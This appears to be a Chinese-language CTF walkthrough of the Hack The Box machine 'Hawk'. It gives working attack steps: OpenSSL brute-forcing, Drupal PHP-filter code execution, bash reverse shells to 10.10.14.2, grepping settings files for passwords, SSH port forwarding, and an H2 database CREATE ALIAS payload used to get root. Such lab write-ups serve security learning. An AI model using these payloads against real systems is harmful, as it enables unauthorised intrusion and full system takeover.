Hawk

nmap

nmap -T4 -p- -vv -sV 10.10.10.102

ftp匿名登录,发现 .drupal.txt.enc

下载到本地查看发现是openssl文件base64编码了

wget -r ftp://10.10.10.102/messages/

base64解码后尝试openssl解密

解密脚本

https://github.com/HrushikeshK/openssl-bruteforce

python2 brute.py /usr/share/wordlists/rockyou.txt ciphers.txt drupal.txt

获得密码:PencilKeyboardScanner123

80端口,Drupal

发现ftp获得的密码就是Drupal的后台密码

admin/PencilKeyboardScanner123

发现可以启动PHP filter模块

可以解析文档中的php代码

反弹shell

<?php 
echo "hack!!!";
echo exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/2333 0>&1'");
?>

保存就直接执行了

敏感信息收集,从代码中找到了密码 drupal4hawk

find /var/www/html/ -name '*.php'|xargs grep 'password' 2>/dev/null

./sites/default/settings.php

除了mysql,可能其他用户也使用了这个密码,最后试到ssh用户密码是daniel/drupal4hawk

切到bash

import pty;pty.spawn("/bin/bash")

提权

8082端口只允许本地访问,使用ssh把流量转发出去

ssh -L 8888:127.0.0.1:8082 daniel@10.10.10.102

访问本地8082

将jdbc url指定到root目录,直接连接

连接成功:

这里有个注入问题:

https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

创建一个执行命令的函数 SHELLEXEC111

CREATE ALIAS SHELLEXEC111 AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

调用函数SHELLEXEC111

call SHELLEXEC111('id')

反弹shell

在daniel下创建一个shell

daniel@hawk:~$ cat /home/daniel/shell 
bash -i >& /dev/tcp/10.10.14.2/2444 0>&1
daniel@hawk:~$ chmod +x /home/daniel/shell 
daniel@hawk:~$ 

使用root执行/home/daniel/shell

call SHELLEXEC111('bash /home/daniel/shell')

上一页
下一页